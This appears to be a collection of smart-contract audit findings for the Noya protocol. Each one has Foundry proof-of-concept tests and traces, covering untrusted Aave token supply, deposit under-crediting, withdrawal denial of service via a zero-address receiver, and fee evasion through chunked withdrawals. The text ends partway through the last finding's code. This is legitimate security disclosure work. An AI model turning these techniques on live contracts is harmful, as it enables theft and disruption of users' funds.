Untrusted tokens can be supplied in deposit pool of Aave through AaveConnector contract if all balance is sent

Lines of code

https://github.com/code-423n4/2024-04-noya/blob/9c79b332eff82011dcfa1e8fd51bad805159d758/contracts/connectors/AaveConnector.sol#L46-L54 https://github.com/code-423n4/2024-04-noya/blob/9c79b332eff82011dcfa1e8fd51bad805159d758/contracts/helpers/BaseConnector.sol#L159

Impact

It is possible to supply untrusted tokens in Aave deposit pool using AaveConnector::supply(). This bug appears due to this line of `BaseConnector::_updateTokenInRegistry(address token)` :

```
_updateTokenInRegistry(token, IERC20(token).balanceOf(address(this)) == 0);
```

This call goes to another _updateTokenInRegistry():

```
function _updateTokenInRegistry(address token, bool remove) internal {
```

As we can see if `IERC20(token).balanceOf(address(this)) == 0` then the `bool remove` becomes true & there is nothing to do in this function if `positionIndex == 0` & `remove == true`, the call will not revert.

Let's see what happens:

1. Suppose DAI was not added as trusted token, & AaveConnector has 100e6 of DAI balance.
2. Now `supply()` was called with DAI address and 100e6 amount, all of the balance which this connector has.
3. Then `_approveOperations(supplyToken, pool, amount);` will execute successfully.
4. Then `IPool(pool).supply(supplyToken, amount, address(this), 0);` will execute and DAI will be supplied to deposit pool
5. Now, this lines will execute:

```
    registry.updateHoldingPosition(
        vaultId, registry.calculatePositionId(address(this),
AAVE_POSITION_ID, ""), "", "", false
    );
```

here, first positionId is calculating, but as this first call to `supply()` that's why this positionId is new, now `updateHoldingPosition()` was called, here 2 things is checked - i. Is the connector is trusted or not, as this connector was added in vault so it is trusted & ii. Is this positionId is trusted or not, as this positionId were added while adding trustedPosition so it is also good to go. So as there is no holdingPositionId present in `isPositionUsed` mapping for this positionId so the index will be 0, as index == 0 & `remove` == false that means a new `HoldingPI` struct will be added, so it was added . 6. Now at next line this function was called: `_updateTokenInRegistry(supplyToken);`. So, here supplyToken is DAI. Now as we supplied all of the balance so `bool remove` will be true, as I mentioned above. That means this position going to be removed, but wait, the `Registry::_updateTokenInRegistry(address token, bool remove)` also calculates a positionId, let's see what it accounts to calculate the id: accountingManager address, 0 as positionTypeId & abi.encode(token) i.e abi.encode of DAI. Remember there is no such positionId yet, so for that there is no holdingPositonId yet, that means the positionIndex will be 0. So positionIndex == 0 && `remove` == true, but if you see the function there is nothing to do for this condition, means the call will execute without error.

As result an untrusted token is added in deposit pool.

Proof of Concept

Create a test file in testFoundry directory & paste this:

```
// SPDX-License-Identifier: Apache-2.0
pragma solidity 0.8.20;

import "@openzeppelin/contracts-5.0/utils/Strings.sol";
import "@openzeppelin/contracts-5.0/token/ERC20/utils/SafeERC20.sol";
import "@openzeppelin/contracts-5.0/token/ERC20/IERC20.sol";

import { AaveConnector, BaseConnectorCP } from
"contracts/connectors/AaveConnector.sol";
import { IPool } from "contracts/external/interfaces/Aave/IPool.sol";
import "./utils/testStarter.sol";
import "./utils/resources/OptimismAddresses.sol";

contract TestAaveConnector is testStarter, OptimismAddresses {

AaveConnector connector;

function setUp() public {
console.log("----------- Initialization -----------");
// ---------------------------------- set env ------------------------------
--
uint256 fork = vm.createFork(RPC_URL, startingBlock);
vm.selectFork(fork);

console.log("Test timestamp: %s", block.timestamp);

// ---------------------------------- deploy the contracts -----------------
----------------
vm.startPrank(owner);
```

```
deployEverythingNormal(USDC);

// ---------------------------------- init connector -----------------------
----------
connector = new AaveConnector(aavePool, address(840),
BaseConnectorCP(registry, 0, swapHandler, noyaOracle));

console.log("AaveConnector deployed: %s", address(connector));
// ------------------- add connector to registry -------------------
addConnectorToRegistry(vaultId, address(connector));
// ------------------- addTokensToSupplyOrBorrow -------------------
addTrustedTokens(vaultId, address(accountingManager), USDC);


addTokenToChainlinkOracle(address(USDC), address(840),
address(USDC_USD_FEED));
addTokenToNoyaOracle(address(USDC), address(chainlinkOracle));

console.log("Tokens added to registry");
registry.addTrustedPosition(vaultId, connector.AAVE_POSITION_ID(),
address(connector), true, false, "", "");
registry.addTrustedPosition(vaultId, 0, address(accountingManager), false,
false, abi.encode(USDC), "");
console.log("Positions added to registry");
vm.stopPrank();

}

function test_supplyHack() public {
    uint256 _amount = 200_000_000;
    _dealERC20(address(DAI), address(connector), _amount);
    console.log("Dai balance =",
IERC20(DAI).balanceOf(address(connector)));
    vm.startPrank(address(owner));
    connector.supply(address(DAI),
IERC20(DAI).balanceOf(address(connector)));
}


}
```

Run this test: `forge test --mt test_supplyHack -vvvvv`, it will execute successfully. And if you try to supple less amount that total balance it will revert by InvalidPosition error.

Tools Used

Manual inspection, Foundry

Recommended Mitigation Steps

Apply better approach as per protocol's need.

After depositing credited amount in balance is less than actual deposited amount

Lines of code

https://github.com/code-423n4/2024-04-noya/blob/9c79b332eff82011dcfa1e8fd51bad805159d758/contracts/accountingManager/AccountingManager.sol#L200

Impact

The AccountingManager::deposit() is used to deposit funds by users. However, the credited amount is less than actual deposited amount for all subsequent deposits of 1st deposit which lessens the balance of the user.

Proof of Concept

Create a test file in testFoundry directory and paste this in that file:

```
// SPDX-License-Identifier: Apache-2.0
pragma solidity ^0.8.20;

import '@openzeppelin/contracts-5.0/utils/Strings.sol';
import '@openzeppelin/contracts-5.0/token/ERC20/utils/SafeERC20.sol';
import '@openzeppelin/contracts-5.0/token/ERC20/IERC20.sol';

import {AaveConnector, BaseConnectorCP} from
'contracts/connectors/AaveConnector.sol';
import {IPool} from 'contracts/external/interfaces/Aave/IPool.sol';
import './utils/testStarter.sol';
import './utils/resources/OptimismAddresses.sol';
import '../contracts/interface/Accounting/IAccountingManager.sol';

contract TestAaveOnly is testStarter, OptimismAddresses {
AaveConnector connector;
event ExecuteDeposit(
      uint256 depositId, address receiver, uint256 recordTime, uint256
amount, uint256 shares, uint256 sharePrice
  );

function setUp() public {
  uint256 fork = vm.createFork(RPC_URL, startingBlock);
  vm.selectFork(fork);
  vm.startPrank(owner);
  deployEverythingNormal(USDC);
  connector = new AaveConnector(aavePool, address(840),
BaseConnectorCP(registry, 0, swapHandler, noyaOracle));
  addConnectorToRegistry(vaultId, address(connector));
  addTrustedTokens(vaultId, address(accountingManager), USDC);
  addTokenToChainlinkOracle(address(USDC), address(840),
```

```
address(USDC_USD_FEED));
  addTokenToNoyaOracle(address(USDC), address(chainlinkOracle));
  accountingManager.updateValueOracle(noyaOracle);
  registry.addTrustedPosition(vaultId, connector.AAVE_POSITION_ID(),
address(connector), true, false, "", "");
  registry.addTrustedPosition(vaultId, 0, address(accountingManager),
false, false, abi.encode(USDC), "");
  vm.stopPrank();
  uint256 _amount = 200_000_000;
  _dealWhale(baseToken, address(connector), USDC_Whale, _amount);
}

function test_LessDepositAmount() public {
  uint256 _amount = 10_000 * 1e6;
  _dealWhale(baseToken, address(alice),
address(0x1AB4973a48dc892Cd9971ECE8e01DcC7688f8F23), 10 * _amount);
  vm.startPrank(alice);
  SafeERC20.forceApprove(IERC20(USDC), address(accountingManager), 5 *
_amount);
  accountingManager.deposit(address(alice), 10000e6, address(0));
  vm.stopPrank();
  vm.startPrank(owner);
  accountingManager.calculateDepositShares(3);
  vm.warp(block.timestamp + 35 minutes);
  vm.recordLogs();
  accountingManager.executeDeposit(3, address(connector), '');

  console.log("Alice's balance after 1st deposit:",
accountingManager.balanceOf(address(alice)));

  vm.stopPrank();
  vm.startPrank(alice);
  accountingManager.deposit(address(alice), 50e6, address(0));
  vm.startPrank(owner);
  accountingManager.calculateDepositShares(3);
  vm.warp(block.timestamp + 35 minutes);
  accountingManager.executeDeposit(3, address(connector), '');
  vm.stopPrank();
  console.log("Alice's balance after 2nd deposit:",
accountingManager.balanceOf(address(alice)));
  vm.prank(alice);
  accountingManager.deposit(address(alice), 50e6, address(0));
  vm.startPrank(owner);
  accountingManager.calculateDepositShares(3);
  vm.warp(block.timestamp + 35 minutes);
  accountingManager.executeDeposit(3, address(connector), '');
  console.log("Alice's balance after 3rd deposit:",
accountingManager.balanceOf(address(alice)));
  vm.stopPrank();
  vm.prank(alice);
  accountingManager.deposit(address(alice), 50e6, address(0));
  vm.startPrank(owner);
  accountingManager.calculateDepositShares(3);
  vm.warp(block.timestamp + 35 minutes);
```

```
  accountingManager.executeDeposit(3, address(connector), '');
  console.log("Alice's balance after 4th deposit:",
accountingManager.balanceOf(address(alice)));
}

}
```

The logs:

```
[PASS] test_LessDepositAmount() (gas: 1308334)
Logs:
PositionRegistry deployed: 0x1645e0Cb6fd0A2b6375ad00bf07ea8E47f69b11C
NoyaValueOracle deployed: 0x5ad18A84d402504393DAd06598D0c900C9838D98
ChainlinkOracleConnector deployed:
0x29513E149447418171612f6aB47DE02152Fb11e5
Accounting deployed: 0xE1d167DE3F8d0004Dc506e92AC74e0Be0d571c7D
SwapHandler deployed: 0x1b3D0C97dde5D635B4dcE470d954518824e70731
LifiImplementation deployed: 0xD5367C816aEC26e5CB369Aa62eaBEa7CAa3Ab887
added as eligible user for swap: 0x1a83c6Cb0bF880F81E5b5e536DC2A3da33a77830
Alice's balance after 1st deposit: 10000000000
Alice's balance after 2nd deposit: 10049019607
Alice's balance after 3rd deposit: 10098039214
Alice's balance after 4th deposit: 10147058821
```

In 2nd, 3rd & 4th deposit Alice deposited 50e6 for each but it is understandable that she got less as balance, let's check that:

```
➜ 10049019607 - 10000000000
Type: uint256
├ Hex: 0x00000000000000000000000000000000000000000000000000000002ebfad7
├ Hex (full word):
0x00000000000000000000000000000000000000000000000000000002ebfad7
└ Decimal: 49019607
➜ 50e6 - 49019607
Type: uint256
├ Hex: 0x0000000000000000000000000000000000000000000000000000000000ef5a9
├ Hex (full word):
0x0000000000000000000000000000000000000000000000000000000000ef5a9
└ Decimal: 980393    // @audit after second deposit Alice got almost 1 USDC
less
➜ 10098039210 - 10049019607
Type: uint256
├ Hex: 0x00000000000000000000000000000000000000000000000000000002ebfad3
├ Hex (full word):
0x00000000000000000000000000000000000000000000000000000002ebfad3
└ Decimal: 49019603
➜ 50e6 - 49019603
Type: uint256
├ Hex: 0x0000000000000000000000000000000000000000000000000000000000ef5ad
```

```
├ Hex (full word):
0x0000000000000000000000000000000000000000000000000000000000000ef5ad
└ Decimal: 980397 // @audit after third deposit Alice got almost 1 USDC
less
➜ 10147058808 - 10098039210
Type: uint256
├ Hex: 0x0000000000000000000000000000000000000000000000000000000002ebface
├ Hex (full word):
0x0000000000000000000000000000000000000000000000000000000002ebface
└ Decimal: 49019598
➜ 50e6 - 49019598
Type: uint256
├ Hex: 0x0000000000000000000000000000000000000000000000000000000000ef5b2
├ Hex (full word):
0x0000000000000000000000000000000000000000000000000000000000ef5b2
└ Decimal: 980402 // @audit after fourth deposit Alice got almost 1 USDC
less
```

Tools Used

Manual review, Chisel, Foundry

Recommended Mitigation Steps

Check user balance after depositing.

user's withdrawal will be delayed as AaveConnector::supply() allowing deposit of total contract balance in deposit pool

Lines of code

https://github.com/code-423n4/2024-04-noya/blob/9c79b332eff82011dcfa1e8fd51bad805159d758/contracts/connectors/AaveConnector.sol#L46-L54

Impact

The AaveConnector.sol contract allows managers to supply i.e deposit all of the AaveConnector contract balance to Aave pool, this can be a serious issue if there is no token in balance of the contract. Because to execute a withdrawal of an user accountManager contract retrieves needed fund from connector, if connector does not have enough fund to give accountManager then the execution will revert. We can visualize this scenario:

1. Alice deposited 1000e6 USDC, so this amount will be transferred to AaveConnector.
2. Now, manager called `AaveConnector::supply()` to deposit 700e6 USDC to Aave liquidity pool, now AaveConnector has 300e6 USDC as balance.
3. After sometime Alice called `AccountingManager::withdraw()` to withdraw 500e6 USDC.

4. When `AccountingManager::retrieveTokensForWithdraw()` will be called to retrieve the needed amount from AaveConnector the call will fail because the connector does not have enough balance to transfer.

Now the system will have to wait for some deposits, or the connector may have to burn aave share token to receive the deposited asset or needed asset(here USDC) need to be transferred to connector from outside. This will create a bad user experience because the user may have to wait long time to fulfill his withdrawal.

Proof of Concept

Create a test file inside testFoundry directory & paste this:

```
// SPDX-License-Identifier: Apache-2.0
pragma solidity ^0.8.20;

import '@openzeppelin/contracts-5.0/utils/Strings.sol';
import '@openzeppelin/contracts-5.0/token/ERC20/utils/SafeERC20.sol';
import '@openzeppelin/contracts-5.0/token/ERC20/IERC20.sol';

import {AaveConnector, BaseConnectorCP} from
'contracts/connectors/AaveConnector.sol';
import {IPool} from 'contracts/external/interfaces/Aave/IPool.sol';
import './utils/testStarter.sol';
import './utils/resources/OptimismAddresses.sol';

contract TestAaveOnly is testStarter, OptimismAddresses {
AaveConnector connector;

function setUp() public {
  uint256 fork = vm.createFork(RPC_URL, startingBlock);
  vm.selectFork(fork);
  vm.startPrank(owner);
  deployEverythingNormal(USDC);
  connector = new AaveConnector(aavePool, address(840),
BaseConnectorCP(registry, 0, swapHandler, noyaOracle));
  addConnectorToRegistry(vaultId, address(connector));
  addTrustedTokens(vaultId, address(accountingManager), USDC);
  addTokenToChainlinkOracle(address(USDC), address(840),
address(USDC_USD_FEED));
  addTokenToNoyaOracle(address(USDC), address(chainlinkOracle));
  accountingManager.updateValueOracle(noyaOracle);
  registry.addTrustedPosition(vaultId, connector.AAVE_POSITION_ID(),
address(connector), true, false, "", "");
  registry.addTrustedPosition(vaultId, 0, address(accountingManager),
false, false, abi.encode(USDC), "");
  vm.stopPrank();
  uint256 _amount = 200_000_000;
  _dealWhale(baseToken, address(connector), USDC_Whale, _amount);
}

function test_getLog() public {
  uint256 _amount = 10_000 * 1e6;
```

```
    _dealWhale(baseToken, address(alice),
address(0x1AB4973a48dc892Cd9971ECE8e01DcC7688f8F23), 10 * _amount);
    vm.startPrank(alice);
    SafeERC20.forceApprove(IERC20(USDC), address(accountingManager), 5 *
_amount);
    accountingManager.deposit(address(alice), 10000e6, address(0));
    vm.stopPrank();
    vm.startPrank(owner);
    accountingManager.calculateDepositShares(3);
    console.log('TVL after calculating deposit:', accountingManager.TVL());
    vm.warp(block.timestamp + 35 minutes);
    accountingManager.executeDeposit(3, address(connector), '');
     connector.supply(USDC, IERC20(USDC).balanceOf(address(connector)));
    //connector.supply(USDC, 100e6);
    vm.stopPrank();
    vm.prank(alice);
    accountingManager.withdraw(50e6, address(alice));
    vm.startPrank(owner);
    accountingManager.calculateWithdrawShares(1);
    vm.warp(block.timestamp + 6 hours + 5 minutes);
    accountingManager.startCurrentWithdrawGroup();
    console.log("needed fund:", accountingManager.neededAssetsForWithdraw());
    bytes memory data = hex'1232';
    RetrieveData[] memory retrieveData = new RetrieveData[](1);
    retrieveData[0] = RetrieveData( 50999999, address(connector),
abi.encode(50999999, data));
    accountingManager.retrieveTokensForWithdraw(retrieveData);
    console.log("amountAskedForWithdraw:",
accountingManager.amountAskedForWithdraw());
    accountingManager.fulfillCurrentWithdrawGroup();
    accountingManager.executeWithdraw(1);
}
}
```

Here the manager deposited all token balance of connector to aave deposit pool, now the connector has 0 balance. Run this test : `forge test --mc TestAaveOnly -vvvvv`. You will see the test failed, the reason:

```
[30214] AccountingManager::retrieveTokensForWithdraw([RetrieveData({
withdrawAmount: 50999999 [5.099e7], connectorAddress:
0x1a83c6Cb0bF880F81E5b5e536DC2A3da33a77830, data:
0x00000000000000000000000000000000000000000000000000000030a32bf000000000
00000000000000000000000000000000000000000000000000000040000000000000000000
00000000000000000000000000000000000000000212320000000000000000000000000000
0000000000000000000000000000000 })])
  │   ├─ [1337] PositionRegistry::getGovernanceAddresses(0) [staticcall]
  │   │   └─ ← [Return] 0xB54c2435Dc58Fd6F172BecEe6B2F95b9423f9E79,
0xB54c2435Dc58Fd6F172BecEe6B2F95b9423f9E79,
0xB54c2435Dc58Fd6F172BecEe6B2F95b9423f9E79,
0xB54c2435Dc58Fd6F172BecEe6B2F95b9423f9E79, Watchers:
```

```
[0x0129529ddfeAa04F444666F88C51d48DB157542d],
0xB54c2435Dc58Fd6F172BecEe6B2F95b9423f9E79
  │   ├─ [1250]
0x0b2C639c533813f4Aa9D7837CAf62653d097Ff85::balanceOf(AccountingManager:
[0xE1d167DE3F8d0004Dc506e92AC74e0Be0d571c7D]) [staticcall]
  │   │   ├─ [553]
0xdEd3b9a8DBeDC2F9CB725B55d0E686A81E6d06dC::balanceOf(AccountingManager:
[0xE1d167DE3F8d0004Dc506e92AC74e0Be0d571c7D]) [delegatecall]
  │   │   │   └─ ← [Return] 0
  │   │   └─ ← [Return] 0
  │   ├─ [781] PositionRegistry::isAnActiveConnector(0, AaveConnector:
[0x1a83c6Cb0bF880F81E5b5e536DC2A3da33a77830]) [staticcall]
  │   │   └─ ← [Return] true
  │   ├─ [1250]
0x0b2C639c533813f4Aa9D7837CAf62653d097Ff85::balanceOf(AccountingManager:
[0xE1d167DE3F8d0004Dc506e92AC74e0Be0d571c7D]) [staticcall]
  │   │   ├─ [553]
0xdEd3b9a8DBeDC2F9CB725B55d0E686A81E6d06dC::balanceOf(AccountingManager:
[0xE1d167DE3F8d0004Dc506e92AC74e0Be0d571c7D]) [delegatecall]
  │   │   │   └─ ← [Return] 0
  │   │   └─ ← [Return] 0
  │   ├─ [16384]
AaveConnector::sendTokensToTrustedAddress(0x0b2C639c533813f4Aa9D7837CAf6265
3d097Ff85, 50999999 [5.099e7], AccountingManager:
[0xE1d167DE3F8d0004Dc506e92AC74e0Be0d571c7D],
0x000000000000000000000000000000000000000000000000030a32bf000000000
000000000000000000000000000000000000000000000000040000000000000000000000
000000000000000000000000000000000000000212320000000000000000000000000000
00000000000000000000000000000000)
  │   │   ├─ emit TransferTokensToTrustedAddress(token:
0x0b2C639c533813f4Aa9D7837CAf62653d097Ff85, amount: 50999999 [5.099e7],
caller: AccountingManager: [0xE1d167DE3F8d0004Dc506e92AC74e0Be0d571c7D],
data:
0x000000000000000000000000000000000000000000000000030a32bf000000000
000000000000000000000000000000000000000000000000040000000000000000000000
000000000000000000000000000000000000000212320000000000000000000000000000
00000000000000000000000000000000)
  │   │   ├─ [724] PositionRegistry::getVaultAddresses(0) [staticcall]
  │   │   │   └─ ← [Return] AccountingManager:
[0xE1d167DE3F8d0004Dc506e92AC74e0Be0d571c7D],
0x0b2C639c533813f4Aa9D7837CAf62653d097Ff85
  │   │   ├─ [1337] PositionRegistry::getGovernanceAddresses(0)
[staticcall]
  │   │   │   └─ ← [Return] 0xB54c2435Dc58Fd6F172BecEe6B2F95b9423f9E79,
0xB54c2435Dc58Fd6F172BecEe6B2F95b9423f9E79,
0xB54c2435Dc58Fd6F172BecEe6B2F95b9423f9E79,
0xB54c2435Dc58Fd6F172BecEe6B2F95b9423f9E79, Watchers:
[0x0129529ddfeAa04F444666F88C51d48DB157542d],
0xB54c2435Dc58Fd6F172BecEe6B2F95b9423f9E79
  │   │   ├─ [648] Watchers::verifyRemoveLiquidity(50999999 [5.099e7],
50999999 [5.099e7], 0x1232) [staticcall]
  │   │   │   └─ ← [Stop]
  │   │   ├─ [2080]
0x0b2C639c533813f4Aa9D7837CAf62653d097Ff85::transfer(AccountingManager:
```

```
[0xE1d167DE3F8d0004Dc506e92AC74e0Be0d571c7D], 50999999 [5.099e7])
  │   │   │   ├─ [1361]
0xdEd3b9a8DBeDC2F9CB725B55d0E686A81E6d06dC::transfer(AccountingManager:
[0xE1d167DE3F8d0004Dc506e92AC74e0Be0d571c7D], 50999999 [5.099e7])
[delegatecall]
  │   │   │   │   └─ ← [Revert] revert: ERC20: transfer amount exceeds
balance
  │   │   │   └─ ← [Revert] revert: ERC20: transfer amount exceeds balance
  │   │   └─ ← [Revert] revert: ERC20: transfer amount exceeds balance
  │   └─ ← [Revert] revert: ERC20: transfer amount exceeds balance
  └─ ← [Revert] revert: ERC20: transfer amount exceeds balance
```

As the connector does not have enough balance the retrieve reverted.

Tools Used

Manual review, Foundry

Recommended Mitigation Steps

Do not allow to deposit all balance in deposit pool, it will be good enough if it allows only 50% of total connector balance. Or add a timelock in AaveConnector::supply() so that it can be executed at right time.

Assessed type

Token-Transfer

Lack of address(0) check for receiver in AccountingManager::withdraw() results DoS while executing the withdraw.

Lines of code

https://github.com/code-423n4/2024-04-noya/blob/9c79b332eff82011dcfa1e8fd51bad805159d758/contracts/accountingManager/AccountingManager.sol#L304

Impact

The `AccountingManager::withdraw()` does not have any input validation check for `receiver` address, so that any user, who deposited previously, can pass address(0) as receiver and make DoS during execution of that withdraw.

Proof of Concept

Run this test in testFoundry/TestAccounting.sol file:

```
function test_DoSInWithdraw() public {
  uint256 _amount = 10_000 * 1e6;
  address user1 = vm.addr(0x1);
  address user2 = vm.addr(0x2);
  address user3 = vm.addr(0x3);
  _dealWhale(baseToken, address(alice),
address(0x1AB4973a48dc892Cd9971ECE8e01DcC7688f8F23), 10 * _amount);
  _dealWhale(baseToken, address(user1),
address(0x1AB4973a48dc892Cd9971ECE8e01DcC7688f8F23), 10 * _amount);
  _dealWhale(baseToken, address(user2),
address(0x1AB4973a48dc892Cd9971ECE8e01DcC7688f8F23), 10 * _amount);
  _dealWhale(baseToken, address(user3),
address(0x1AB4973a48dc892Cd9971ECE8e01DcC7688f8F23), 10 * _amount);
  vm.startPrank(user1);
  SafeERC20.forceApprove(IERC20(USDC), address(accountingManager), 5 *
_amount);
  accountingManager.deposit(address(user1), _amount, address(0));
  vm.stopPrank();
  vm.startPrank(alice);
  SafeERC20.forceApprove(IERC20(USDC), address(accountingManager), 5 *
_amount);
  accountingManager.deposit(address(alice), 1*1e6, address(0));
  vm.stopPrank();
  vm.startPrank(user2);
  SafeERC20.forceApprove(IERC20(USDC), address(accountingManager), 5 *
_amount);
  accountingManager.deposit(address(user2), _amount, address(0));
  vm.stopPrank();
  vm.startPrank(user3);
  SafeERC20.forceApprove(IERC20(USDC), address(accountingManager), 5 *
_amount);
  accountingManager.deposit(address(user3), _amount, address(0));
  vm.stopPrank();
 // console.log("Total CB amount:", accountingManager.totalCBAmount());
  vm.startPrank(owner);
  accountingManager.calculateDepositShares(4);
  vm.warp(block.timestamp + 35 minutes);
  console.log("accountingManager balance:",
accountingManager.getBaseTokenBalanceOfAccountingManager());
  accountingManager.executeDeposit(4, connector, '');
  console.log("accountingManager balance:",
accountingManager.getBaseTokenBalanceOfAccountingManager());
  vm.stopPrank();
  // Now withdraw
  vm.prank(user1);
  accountingManager.withdraw(500*1e6, address(user1));
  vm.prank(alice);
  accountingManager.withdraw(1*1e6, address(0));
  vm.prank(user3);
  accountingManager.withdraw(500*1e6, address(user3));
  vm.prank(user2);
  accountingManager.withdraw(500*1e6, address(user2));
  //calculate withdraw share
```

```
    vm.startPrank(owner);
    accountingManager.calculateWithdrawShares(5);
    vm.warp(block.timestamp + 6 hours + 5 minutes);
    // starting current withdraw group
    accountingManager.startCurrentWithdrawGroup();
    console.log("Needed asset:",
accountingManager.neededAssetsForWithdraw());
    bytes memory data = hex'1232';
    RetrieveData[] memory retrieveData = new RetrieveData[](1);
    retrieveData[0] = RetrieveData(1501e6, address(connector),
abi.encode(1501e6, data));
    // retrieving token for withdraw
    accountingManager.retrieveTokensForWithdraw(retrieveData);
    // fullfilling current withdraw
    accountingManager.fulfillCurrentWithdrawGroup();
    // executing the wirhdraw
    accountingManager.executeWithdraw(5);
  }
```

Run this test: `forge test --mt test_DoSInWithdraw -vvvv`. The test will revert, and if you see the reason:

```
├─ [40501] AccountingManager::executeWithdraw(5)
  │   ├─ [1337] PositionRegistry::getGovernanceAddresses(0) [staticcall]
  │   │   └─ ← [Return] 0xB54c2435Dc58Fd6F172BecEe6B2F95b9423f9E79,
0xB54c2435Dc58Fd6F172BecEe6B2F95b9423f9E79,
0xB54c2435Dc58Fd6F172BecEe6B2F95b9423f9E79,
0xB54c2435Dc58Fd6F172BecEe6B2F95b9423f9E79, Watchers:
[0x0129529ddfeAa04F444666F88C51d48DB157542d],
0xB54c2435Dc58Fd6F172BecEe6B2F95b9423f9E79
  │   ├─ emit Transfer(from: 0x7E5F4552091A69125d5DfCb7b8C2659029395Bdf,
to: 0x0000000000000000000000000000000000000000, value: 500000000 [5e8])
  │   ├─ [5363]
0x0b2C639c533813f4Aa9D7837CAf62653d097Ff85::transfer(0x7E5F4552091A69125d5D
fCb7b8C2659029395Bdf, 500000000 [5e8])
  │   │   ├─ [4663]
0xdEd3b9a8DBeDC2F9CB725B55d0E686A81E6d06dC::transfer(0x7E5F4552091A69125d5D
fCb7b8C2659029395Bdf, 500000000 [5e8]) [delegatecall]
  │   │   │   ├─ emit Transfer(from: AccountingManager:
[0xE1d167DE3F8d0004Dc506e92AC74e0Be0d571c7D], to:
0x7E5F4552091A69125d5DfCb7b8C2659029395Bdf, value: 500000000 [5e8])
  │   │   │   └─ ← [Return] true
  │   │   └─ ← [Return] true
  │   ├─ emit ExecuteWithdraw(withdrawId: 0, owner:
0x7E5F4552091A69125d5DfCb7b8C2659029395Bdf, receiver:
0x7E5F4552091A69125d5DfCb7b8C2659029395Bdf, shares: 500000000 [5e8],
calculatedAmount: 500000000 [5e8], sendedAmount: 500000000 [5e8],
recordTime: 1708337073 [1.708e9])
  │   ├─ emit Transfer(from: 0xE9DD92FeC168e0b4FCffEEf6F602E5575E8F12b4,
to: 0x0000000000000000000000000000000000000000, value: 1000000 [1e6])
  │   ├─ [3846]
```

```
0x0b2C639c533813f4Aa9D7837CAf62653d097Ff85::transfer(0x0000000000000000000
0000000000000000000, 1000000 [1e6])
  │   │   ├─ [3127]
0xdEd3b9a8DBeDC2F9CB725B55d0E686A81E6d06dC::transfer(0x0000000000000000000
0000000000000000000, 1000000 [1e6]) [delegatecall]
  │   │   │   └─ ← [Revert] revert: ERC20: transfer to the zero address
  │   │   └─ ← [Revert] revert: ERC20: transfer to the zero address
  │   └─ ← [Revert] revert: ERC20: transfer to the zero address
  └─ ← [Revert] revert: ERC20: transfer to the zero address
```

See, first transfer is successful for user1[`0x7E5F4552091A69125d5DfCb7b8C2659029395Bdf`] but for second transaction, as alice passed address(0) as receiver, it reverted. As result the subsequent withdrawals were could not be executed.

Tools Used

Manual analysis, Foundry

Recommended Mitigation Steps

Put an `address(0)` check for receiver in withdraw().

Assessed type

DoS

Withdraw fee is avoidable by small chunks of withdraw requests

Lines of code

https://github.com/code-423n4/2024-04-noya/blob/9c79b332eff82011dcfa1e8fd51bad805159d758/contracts/accountingManager/AccountingManager.sol#L396

Impact

Malicious users can avoid withdraw fee by sending small chunks of withdraw requests. In `AccountingManager::executeWithdraw()` withdraw fee is calculated like this:

```
uint256 feeAmount = baseTokenAmount * withdrawFee / FEE_PRECISION;
```

where FEE_PRECISION = 1e6 and the max limit of withdraw fee is 5e4. However, if we somehow can make the numerator less than the denominator the fee will be 0.

Proof of Concept

Suppose a user wants to withdraw 30e1 amount of USDC, so he will make 10 chunks, 3e1 for each. Lets assume the withdraw fee is 3e4. So, for this the fee amount will be: (3e1 * 3e4) / 1e6 = 0.

Run this test in TestAccounting.sol contract:

```
function test_chunk() public {
  console.log('-----------Base Workflow--------------');
  vm.prank(owner);
  accountingManager.setFees(3e4,4e4,1e5);
  console.log("withdraw fee:", accountingManager.withdrawFee());
  uint256 _amount = 10_000 * 1e6;
  address user2 = vm.addr(0x2);
  address user3 = vm.addr(0x3);
  _dealWhale(baseToken, address(alice),
address(0x1AB4973a48dc892Cd9971ECE8e01DcC7688f8F23), 10 * _amount);
  _dealWhale(baseToken, address(user2),
address(0x1AB4973a48dc892Cd9971ECE8e01DcC7688f8F23), 10 * _amount);
  _dealWhale(baseToken, address(user3),
address(0x1AB4973a48dc892Cd9971ECE8e01DcC7688f8F23), 10 * _amount);
  vm.startPrank(alice);
  SafeERC20.forceApprove(IERC20(USDC), address(accountingManager), 5 *
_amount);
  accountingManager.deposit(address(alice), 100e6, address(0));
  vm.stopPrank();
  vm.startPrank(user2);
  SafeERC20.forceApprove(IERC20(USDC), address(accountingManager), 5 *
_amount);
  accountingManager.deposit(address(user2), _amount, address(0));
  vm.stopPrank();
  vm.startPrank(user3);
  SafeERC20.forceApprove(IERC20(USDC), address(accountingManager), 5 *
_amount);
  accountingManager.deposit(address(user3), _amount, address(0));
  vm.stopPrank();
  vm.startPrank(owner);
  accountingManager.calculateDepositShares(3);
  vm.warp(block.timestamp + 35 minutes);
  accountingManager.executeDeposit(3, connector, '');
  vm.stopPrank();
  vm.startPrank(alice);
  for(uint i; i < 10; i++){
    accountingManager.withdraw(3e1, address(alice));
  }
  vm.stopPrank();
  vm.prank(user2);
  accountingManager.withdraw(10000e6, address(user2));
  vm.prank(user3);
  accountingManager.withdraw(10000e6, address(user3));
  vm.startPrank(owner);
  accountingManager.calculateWithdrawShares(10);
  vm.warp(block.timestamp + 6 hours + 5 minutes);
  accountingManager.startCurrentWithdrawGroup();
```

```
  console.log("needed fund:", accountingManager.neededAssetsForWithdraw());
  bytes memory data = hex'1232';
  RetrieveData[] memory retrieveData = new RetrieveData[](1);
  retrieveData[0] = RetrieveData(300, address(connector), abi.encode(300,
data));
  accountingManager.retrieveTokensForWithdraw(retrieveData);
  console.log("amountAskedForWithdraw:",
accountingManager.amountAskedForWithdraw());
  accountingManager.fulfillCurrentWithdrawGroup();
  accountingManager.executeWithdraw(10);
  console.log("baseTokenAmount:", accountingManager.amount());
  console.log("withdrawn fee:", accountingManager.withdrawnFeeAmount());
}
```

I have added 2 storage variable in AccountingManager.sol contract to track the baseTokenAmount & withdrawFee:

```
uint public withdrawnFeeAmount;
uint public amount;

function executeWithdraw(uint256 maxIterations) public onlyManager
nonReentrant whenNotPaused {
  if (currentWithdrawGroup.isFullfilled == false) {
    // if group is active or there is no withdraw group then revert
    revert NoyaAccounting_ThereIsAnActiveWithdrawGroup();
  }
  uint64 i = 0;
  uint256 firstTemp = withdrawQueue.first; // set to 0

  uint256 withdrawFeeAmount = 0;
  uint256 processedBaseTokenAmount = 0;
  // loop through the withdraw queue and execute the withdraws
  while (
    currentWithdrawGroup.lastId > firstTemp &&
    withdrawQueue.queue[firstTemp].calculationTime + withdrawWaitingTime <=
block.timestamp &&
    i < maxIterations
  ) {
    i += 1;
